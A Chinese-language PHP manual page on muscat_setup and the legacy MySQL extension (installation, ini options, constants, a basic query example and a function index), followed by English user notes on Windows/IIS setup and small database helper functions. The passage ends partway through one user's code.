muscat_setup

(4.0.5 - 4.2.3 only, PECL)

muscat_setup -- Creates a new muscat session and returns the handle

Description

resource muscat_setup ( int size [, string muscat_dir] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

size is the amount of memory in bytes to allocate for muscat. muscat_dir is the muscat installation dir e.g. "/usr/local/empower", it defaults to the compile time muscat directory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
muscat_setup_net | 上一级 | MySQL 函数


MySQL 函数

PHP 手册
后退 前进

LXXXIV. MySQL 函数

简介

可以使用本类函数访问 MySQL 数据库服务器。有关 MySQL 的详细信息可以到 http://www.mysql.com/ 查询。

MySQL 的文档可以在 http://dev.mysql.com/doc/ 找到。

需求

为了能够顺利的使用本类函数，必须在编译 PHP 的时候添加 MySQL 的支持。

安装

编译时，只要使用 --with-mysql[=DIR] 配置选项即可，其中可选的 [DIR] 指向 MySQL 的安装目录。

本 MySQL 扩展库不支持 MySQL 4.1.0 以上版本全部功能。对此，可用 MySQLi。

如果要同时安装 mysql 扩展库和 mysqli 扩展库，必须使用同一个客户端库以避免任何冲突。

在 Linux 系统下安装

PHP 4

默认开启了 --with-mysql 选项。此默认行为可以用 --without-mysql 配置选项来禁止。如果启用 MySQL 而不指定安装目录的话，PHP 将使用绑定的 MySQL 客户端连接库。

还有其它应用程序使用 MySQL（例如 auth-mysql）的用户不要用绑定的库，而要指定 MySQL 的安装目录，如这样：--with-mysql=/path/to/mysql。这将强制 PHP 使用随 MySQL 安装的客户端连接库，就可以避免任何冲突。

PHP 5+

MySQL 默认未启用，也没有绑定的 MySQL 库。其原因见此 FAQ。使用 --with-mysql[=DIR] 配置选项来加入 MySQL 的支持。可以从 MySQL 下载头文件和库。

在 Windows 系统下安装

PHP 4

PHP MySQL 扩展已经编译入 PHP。

PHP 5+

MySQL 默认未启用，因此必须在 php.ini 中激活 php_mysql.dll 动态连接库。此外，PHP 还需要访问 MySQL 客户端连接库。PHP 的 Windows 发行版包括了一个 libmysql.dll，为了让 PHP 能和 MySQL 对话，此文件必须放在 Windows 的系统路径 PATH 中。怎样做见 FAQ 中的“怎样把 PHP 目录加入到 Windows 路径中”。尽管将 libmysql.dll 拷贝到 Windows 系统目录中也可以（因为系统目录默认在系统路径 PATH 中），但不推荐这样做。

要激活任何 PHP 扩展库（例如 php_mysql.dll），PHP 指令 extension_dir 要被设为 PHP 扩展库所在的目录。参见手工 Windows 安装指南。PHP 5 下 extension_dir 取值的一个例子是 c:\php\ext。

注: 如果启动 web 服务器时出现类似如下的错误："Unable to load dynamic library './php_mysql.dll'"，这是因为系统找不到 php_mysql.dll 和／或 libmysql.dll。

MySQL 安装注意事项

警告

当同时加在本扩展库和 recode 扩展库时 PHP 可能会崩溃。更多信息见 recode 扩展库。

注: 如果需要不同于 latin（默认值）的字符集，必须安装外部的（非绑定的）已编译入所需字符集支持的 libmysql。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. MySQL 配置选项

选项名称 | 默认值 | 可修改范围 | 更新记录
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL | 自 PHP 4.3.0 起可用
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL | 自 PHP 4.0.1 起可用
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。在 PHP <= 4.3.2 时为 PHP_INI_SYSTEM
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

mysql.allow_persistent boolean

是否允许 MySQL 的持久连接。

mysql.max_persistent integer

每个进程中最大的持久连接数目。

mysql.max_links integer

每个进程中最大的连接数，包括持久连接。

mysql.trace_mode boolean

跟踪模式。当激活 mysql.trace_mode 时，将会显示 table/index 扫描的警告，未释放的结果集以及 SQL 错误。（PHP 4.3.0 引进）

mysql.default_port string

指定默认连接数据库的 TCP 端口号。如果没有指定默认端口号，则按顺序从 MYSQL_TCP_PORT 环境变量，/etc/services 文件中的 mysql-tcp 项或者编译时指定的 MYSQL_PORT 常量中取得。Win32 环境下只会使用 MYSQL_PORT 常量。

mysql.default_socket string

当使用本地连接的时候，默认的 socket 名称。

mysql.default_host string

默认连接的数据库服务器地址。不适用于 SQL 安全模式。

mysql.default_user string

默认连接数据库时使用的用户名。不适用于 SQL 安全模式。

mysql.default_password string

默认连接数据库时使用的密码。不适用于 SQL 安全模式。

mysql.connect_timeout integer

连接超时秒数。在 Linux 中，此参数设定了等候来自服务器的响应的时长。

资源类型

在 MySQL 模块中使用了两种资源类型。第一种是数据库的连接句柄，第二种是 SQL 查询返回的结果集。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

在 PHP 4.3.0 以后的版本中，允许在 mysql_connect() 函数和 mysql_pconnect() 函数中指定更多的客户端标记。下面列出所定义的常量：

表格 2. MySQL 客户端常量

常量 | 描述
MYSQL_CLIENT_COMPRESS | 使用压缩的通讯协议
MYSQL_CLIENT_IGNORE_SPACE | 允许在函数名后留空格位
MYSQL_CLIENT_INTERACTIVE | 允许设置断开连接之前所空闲等候的 interactive_timeout 时间（代替 wait_timeout）。
MYSQL_CLIENT_SSL | 使用 SSL 加密。本标志仅在 MySQL 客户端库版本为 4.x 或更高版本时可用。在 PHP 4 和 Windows 版的 PHP 5 安装包中绑定的都是 3.23.x。

mysql_fetch_array() 函数使用一个常量来表示所返回数组的类型。下面是常量的定义：

表格 3. MySQL fetch 常量

常量 | 描述
MYSQL_ASSOC | 返回的数据列使用字段名作为数组的索引名。
MYSQL_BOTH | 返回的数据列使用字段名及数字索引作为数组的索引名。
MYSQL_NUM | 返回的数据列使用数字索引作为数组的索引名。索引从 0 开始，表示返回结果的第一个字段。

注释

注: 大多数 MySQL 函数都接受 link_identifier 作为最后一个可选参数。如果未提供此参数，则使用最后一个打开的连接。如果不存在连接，则会用 php.ini 中定义的默认参数去尝试建立连接。如果连接不成功，函数返回 FALSE。

范例

下面的简单例子演示如何连接数据库，执行查询语句，打印返回结果集和断开数据库等一系列基本的 MySQL 操作。

例子 1. MySQL 例子

<?php
// 连接，选择数据库
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');

// 执行 SQL 查询
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

// 用 HTML 显示结果
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// 释放结果集
mysql_free_result($result);

// 关闭连接
mysql_close($link);
?>

目录
mysql_affected_rows -- 取得前一次 MySQL 操作所影响的记录行数
mysql_change_user -- 改变活动连接中登录的用户
mysql_client_encoding -- 返回字符集的名称
mysql_close -- 关闭 MySQL 连接
mysql_connect -- 打开一个到 MySQL 服务器的连接
mysql_create_db -- 新建一个 MySQL 数据库
mysql_data_seek -- 移动内部结果的指针
mysql_db_name -- 取得结果数据
mysql_db_query -- 发送一条 MySQL 查询
mysql_drop_db -- 丢弃（删除）一个 MySQL 数据库
mysql_errno -- 返回上一个 MySQL 操作中的错误信息的数字编码
mysql_error -- 返回上一个 MySQL 操作产生的文本错误信息
mysql_escape_string -- 转义一个字符串用于 mysql_query
mysql_fetch_array -- 从结果集中取得一行作为关联数组，或数字数组，或二者兼有
mysql_fetch_assoc -- 从结果集中取得一行作为关联数组
mysql_fetch_field -- 从结果集中取得列信息并作为对象返回
mysql_fetch_lengths -- 取得结果集中每个输出的长度
mysql_fetch_object -- 从结果集中取得一行作为对象
mysql_fetch_row -- 从结果集中取得一行作为枚举数组
mysql_field_flags -- 从结果中取得和指定字段关联的标志
mysql_field_len -- 返回指定字段的长度
mysql_field_name -- 取得结果中指定字段的字段名
mysql_field_seek -- 将结果集中的指针设定为制定的字段偏移量
mysql_field_table -- 取得指定字段所在的表名
mysql_field_type -- 取得结果集中指定字段的类型
mysql_free_result -- 释放结果内存
mysql_get_client_info -- 取得 MySQL 客户端信息
mysql_get_host_info -- 取得 MySQL 主机信息
mysql_get_proto_info -- 取得 MySQL 协议信息
mysql_get_server_info -- 取得 MySQL 服务器信息
mysql_info -- 取得最近一条查询的信息
mysql_insert_id -- 取得上一步 INSERT 操作产生的 ID
mysql_list_dbs -- 列出 MySQL 服务器中所有的数据库
mysql_list_fields -- 列出 MySQL 结果中的字段
mysql_list_processes -- 列出 MySQL 进程
mysql_list_tables -- 列出 MySQL 数据库中的表
mysql_num_fields -- 取得结果集中字段的数目
mysql_num_rows -- 取得结果集中行的数目
mysql_pconnect -- 打开一个到 MySQL 服务器的持久连接
mysql_ping -- Ping 一个服务器连接，如果没有连接则重新连接
mysql_query -- 发送一条 MySQL 查询
mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集
mysql_result -- 取得结果数据
mysql_select_db -- 选择 MySQL 数据库
mysql_stat -- 取得当前系统状态
mysql_tablename -- 取得表名
mysql_thread_id -- 返回当前线程的 ID
mysql_unbuffered_query -- 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

add a note add a note User Contributed Notes
Conrad Decker
24-May-2006 04:56
In regards to the previous post...you should actually be able to pipe a mysql dump directly back into mysql.

From the command line something like
mysql -u username -p databasename < mysqldumpfilename
should rebuild the database.

There are some additional options one can use, and I believe mysqldump from different versions of mysql may not be completely compatible.
sb at stephenbrooks dot org
02-May-2006 04:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
   if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
caladorn at ugcs dot caltech dot edu
20-Apr-2006 03:33
After configuring php.ini as outlined above (set the extension_dir variable and uncomment the appropriate mysql library) I kept receiving the following error on every Apache restart:

PHP Startup: Unable to load dynamic library './ext\\php_mysql.dll'

After trawling the web, most suggestions seemed to center on copying the libmysql.dll from the php install directory to c:\windows\system32.  While this can work, it can also complicate future upgrades, since you'll always have to copy the new libmysql.dll to insure proper operation.

Instead, if you run a search for "libmysql.dll", you'll likely find several versions in various directories.  After removing the older (smaller) versions from the other directories in my PATH, (c:\windows, c:\windows\system32) - and making sure the php install directory was in the PATH, apache/php was able to successfully locate the correct DLL and start without errors.

Hopefully someone will find this helpful.  ;)
Nathan Brizzee
04-Apr-2006 01:42
Hi,
For all those who may still be struggling to get PHP to work with Windows and IIS, I finally found something that works.

If you are getting the error message that function mysql_connect could not be found and you're sure you enabled php_mysql in php.ini this is what finally solved my problem.

The post from mmw_canada at yahoo dot com on 10-Jul-2005 06:15 pointed me in the right direction.  Thanks mmw_canada!

1.) If you are connected to your Windows box via Remote Desktop, there is a switch to Remote Desktop that will connect you to the console session.  This is important because when IIS starts up, it's error messages go to the console.  If you are sitting at the physical machine, you can ignore this step.

Here is the command
mstsc -v:10.192.186.xxx  /F -console

For a more complete list of supported commands, type this at a dos command window:
mstsc /?

2.) Add a registry entry that tells PHP where to find its php.ini file.  Copy the following text and paste it in a text file.  Rename the text file to something like phpini.reg and double-click it to add it to your registry.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\PHP]
"IniFilePath"="C:\\\\PHP"

2.) Add c:\\php; (or wherever you unzipped PHP to) to your environment variable "Path".  Here is the important part that caused me hours and hours of grief.  When adding c:\\php; to the PATH environment variable, make SURE you add it BEFORE the path to CVSNT or MYSQL.  PHP, CVSNT, and MYSQL all have a file called libmysql.dll.  Search order is important for PHP to find its file libmysql.dll first.  PHP must come first in the search path.  Otherwise you will get an error from the DLL on the console screen when IIS starts up saying it can't find the specified function call.

To see the order of your environment variables, open up a dos window and type "set" and press enter.  Look at what Path is equal to.  c:\\php; better come before cvsnt and mysql or it will never work properly.

Hope this helps!
brjann at gmail dot com
01-Apr-2006 05:11
After tearing my eyes out in frustration, I've finally found a way to enable extensions that always works for me. It's pretty straightforward.

1. Download the latest zip-version of PHP.
2. Delete (or backup) the contents of your PHP folder (usually c:\php). (remember to save any ext's not included in the zip)
3. Copy everything in the zip-file into your PHP folder
4. Be sure that extension_dir is set to "./ext" in php.ini
5. Enable whichever extensions you want to use in php.ini

I guess that deleting everything is quite unnecessary, the important thing is that the php.exe and extensions in the same zip are of compatible versions. I've never found any need to change the PATH environment variable.

Hope it helps!
yp
16-Mar-2006 06:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk
17-Feb-2006 07:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
sabin at sabin dot com dot np
14-Feb-2006 08:29
php_mysql.dll and libmysql.dll for windows systems can be downloaded from http://dev.mysql.com/downloads/connector/php/

It can be useful to those who are using the PHP Windows installer, which does not have any external extensions included.
elliotthird at tiscali dot co dot uk
04-Feb-2006 01:20
Oops! Don't use that one, use this:
<?php
  class database {
   function database($server, $username, $password, $database) {
     $this->connection = mysql_connect($server, $username, $password);
     if (!$this->connection || !mysql_select_db($database, $this->connection)) {
       return false;
     } else {
       return true;
     }
   }
   function query($sql, $type = MYSQL_BOTH) {
     $query = mysql_query($sql, $this->connection);
     while ($row = mysql_fetch_row($query)) {
       $return[] = $row;
     }
     return $return;
   }
  }
  /* Change this to reflect your database setup */
  $database = new database('localhost', 'root', '', 'forum');
  if (!$database) {
   exit('Could not connect to the database!');
  }
?>
jeremy hepler
21-Dec-2005 04:12
For those of you on an OS that has older mysql libs and want to properly authenticate to the modern mysql versions, without the OLD_PASSWORD hack; compile php with where you have installed the latest mysql binary package:

./configure --with-mysql=/usr/local/mysql

if you have mysql installed on seperate server, just drop it into the target directory on what ever machine you are compiling it on.

Be sure to "make clean" before building or it may look in the previous place.

Use the output of mysql_get_client_info(); to test before and after.
Joe Greklek
16-Dec-2005 05:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
phil at pelanne dot com
03-Nov-2005 11:46
If you are experiencing extremely slow connections to MySQL from PHP from a Windows 2003 Server it may well not be PHP or IIS - try loading mysql in in 'skip-name-resolve'-Mode.

It may mean the difference between a 10 second load time and a split second load time.
Jonathon Hibbard
22-Sep-2005 01:47
This is a small function I wrote to handle queries on a table.
It can query a table, order and sort, and supports inner joins.

This function also returns the result as a single row or all rows.

Enjoy :

<?php
  /**
   * Selects Fields from a database/table.
   * Also supports INNER JOINS, GROUP BY, ORDER BY.
   *
   * @Author : Jonathon Hibbard
   *
   * @param string $db_name        //Name of Database
   * @param string $table          //Name of Table
   * @param array $fields          //Field Names we want to select
   * @param array $inner            //Fields to be INNER JOINED
   * @param array $where            //WHERE fields.
   * @param string $group_by        //Field to group by.
   * @param string $order_by        //Field to order by
   * @param string $asc            //Asc or Desc order
   * @param string $return_array    //Defines $rst as an array or single row
   * @return $rst                  //Returns the result
   *
   * @example : (1) getFields('mytool','master',
   *                          'array('master.master_id','master.fname_id'));
   *            (2) getFields('mytool','master',
   *                          'array('master.master_id','master.fname_id',
   *                          'fname.fname'), array(0=>array('mytool',
   *                          'fname','master','fname_id',)),
   *                          'master.default_value <> "", false);
   *            (3) getFields('mytool','master','master.master_id',NULL,
   *                          'master.fname_id = "3",NULL,NULL,NULL,false);
   */
  function getFields($db_name=NULL,$table=NULL,$fields=NULL,$inner=NULL,
                     $where=NULL,$group_by=NULL,$order_by=NULL,$asc=NULL,
                     $return_array=true) {
   $C_NAME = __CLASS__."::".__FUNCTION__;
   $sql = "SELECT ";
   is_array($fields) ? $sql .= implode(',',$fields) : $sql .= $fields;
   $sql .= " FROM ".$db_name.".".$table;
   if(!empty($inner)) {
     $total_inners = count($inner);
     for($i=0; $i<$total_inners; $i++)
       $sql .= " INNER JOIN ".$inner[$i][0].".".$inner[$i][1]."
                 ON ".$inner[$i][1].".".$inner[$i][2]." =
                     ".$inner[$i][3].".".$inner[$i][2];
   }
   if(!empty($where)) {
     is_array($where) ? $sql .= " WHERE ".implode(' AND ',$where)
                       : die("Fatal Error : Variable must be an array.
                         Variable type is : ".gettype($where));
   }
   !empty($group_by) ? $sql .= " GROUP BY ".$group_by : '';
   !empty($order_by) ? $sql .= " ORDER BY ".$order_by : '';
   !empty($asc)      ? $sql .= " ".$asc : '';
   $sql .= " # Query resides in ".__FILE__."->".$C_NAME."
               on line ".__LINE__;
   if($return_array === true) {
     $rst = mysql_query($sql)
             or die("An Error Has Occurred!
                 \n MySQL Error Reports : ".mysql_error()."
                 \n The Error Occured in ".__FILE__." -> ".$C_NAME);
     $i=0;
     while($row = mysql_fetch_assoc($rst)) {
       $rowRst[] = $row[$fields[$i]];
       $i++;
     }
   } else {
     $rst = mysql_query($sql)
             or die("An Error Has Occurred!
                 \n MySQL Error Reports : ".mysql_error()."
                 \n The Error Occured in ".__FILE__." -> ".$C_NAME);
     $rowRst = mysql_fetch_assoc($rst);
   }
   return $rowRst;
  }
?>
nick smith
20-Sep-2005 03:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com
01-Sep-2005 04:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl
25-Aug-2005 10:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com
05-Aug-2005 04:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com
20-Jul-2005 06:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *    1 - primary key must be named "id"
 *    2 - foreign key must be named "id..." eg.: id_field
 *    3 - lowercase is recomended
 */

   $Q = str_replace(array(chr(10),chr(13))," ",$Q);
   $Q = str_replace(array("'","`")," ",$Q);

   preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

   $part1 = $A[1];
   $part2 = $A[2];
   $part3 = $A[3];

   preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

   $tbname = strtolower($A[2]);

   $temp = split(",",$part2);
   foreach ($temp as $t) {
       preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
       $pcampo = strtolower($A[1]);
       $ptipo = strtolower($A[2]);
       if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
           if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
               $kfields[] = $pcampo;
           else {
               $fields[] = $pcampo;
               $tipos[] = $ptipo;
           }
       }
   }
}
?>
mmw_canada at yahoo dot com
11-Jul-2005 09:15
I Quote:

"Note: If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysql.dll'", this is because php_mysql.dll and/or libmysql.dll cannot be found by the system."

Actully, the file may have been found, it is just the wrong version.

The "libmysql.dll" is packaged and sent with a number of applications and it can end up in different place on your computer.  The file may even be completely different, so just replacing it may cause problems with the other applications.

I searched for the this file and found that I had a number of different versions on my machine at once.  PHP was trying to use the WRONG ONE.

Maybe the name should be changed in later versions so that it doesn't encourage people to commit suicide or pull their hair out.
bahatest at ifrance dot com
07-Jul-2005 01:38
/*
* before mysql 4.1, timestamp have a defined size, but after 4.1, timestamp is equal to... datetime
* so, conversion is automatic when you import your dump in new mysql version, but your script cannot echo dates like before.
* this function took one date on DATETIME format, a size of old timestamp format and return the date in old timestamp format before 4.1
* Note : if $date is in TIMESTAMP format, the function return it unaltered. So we can patch our php code before migrate to 4.1
* @param $date a date in DATETIME format, or TIMESTAMP format after mysql 4.1
* @param $size a size of old TIMESTAMP format (14,12,10,8,6,4 or 2)
* @return the date in old TIMESTAMP format
*/
function mysql_convert_timestamp_to_previous_usage($date, $size) {
   $tab=split('[- :]', $date);
   if (sizeof($tab) != 6) return $date;
   if (($size!= 8) && ($size!= 14)) {
       $tab[0]=substr($tab[0], -2);
   }
   for ($i = 12; $i>$size; $i-=2) {
       unset($tab[sizeof($tab)-1]);
   }
   if ($size== 8) unset($tab[sizeof($tab)-1]);
   return implode("", $tab);
}
jimmy dot a dot gunawan at gmail dot com
04-Jul-2005 03:18
I almost desperately connect my apache 2.0.54 winversion to PHP 5.0.4 and MYSQL 4.1.12 under windows, since there are lack of any accurate information to setup them properly.
If you got any error message said: "Call to undefined function mysql_connect()", here is the right tips.

Apache installed in c:\apache\apachegroup
PHP installed in c:\php
Mysql installed in c:\mysql

1. Find and add c:\apache\apachegroup\conf\httpd.conf
   with:
     ScriptAlias /php/ "c:/php/"
     AddType application/x-httpd-php .php
     Action application/x-httpd-php "/php/php-cgi.exe"
2. Go to php directory c:\php then rename php.ini-dist to php.ini
   (or make a new php.ini based on old php.ini file),
   make sure we set the right extension:
       extension_dir = "c:\php\ext"
       extension=php_mysql.dll

If you setup an php script that call function php_info();
and you can find table:
MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.7

that mean the mysql.dll properly attached to suppport the php, happy SQL-ing
Microsoul V3
05-Jun-2005 06:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com
29-May-2005 02:20
More On Windows 2003 Server / IIS 6.0:

It might (probably) be necessary to add both the path to PHP and the path to the extensions dir to your environmental variables.

To do this:
1) Right-Click on 'My Computer'
2) Select 'Properties'
3) Click the 'Advanced' tab
4) At the bottom of this dialog box, click the 'Environmental Variables' button
5) In the frame titled 'System Variables', scroll-down until you find 'Path'
6)Add your path to PHP and your path to the extensions folder i.e. c:\php;c:\php\ext. Make sure all the paths are seperated by semi-colons, and make sure not to erase any of the other paths already in there.

I meant to include this in my note below, apologies for any confusion.
noel at nettensity dot com
29-May-2005 01:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
disappear dot nz at gmail dot com
22-May-2005 12:39
Hi,

this is a small OOP script to provide an easy connction to the mysql db and to get associative / logical / both arrays.

<?php

   class mysql_array
   {

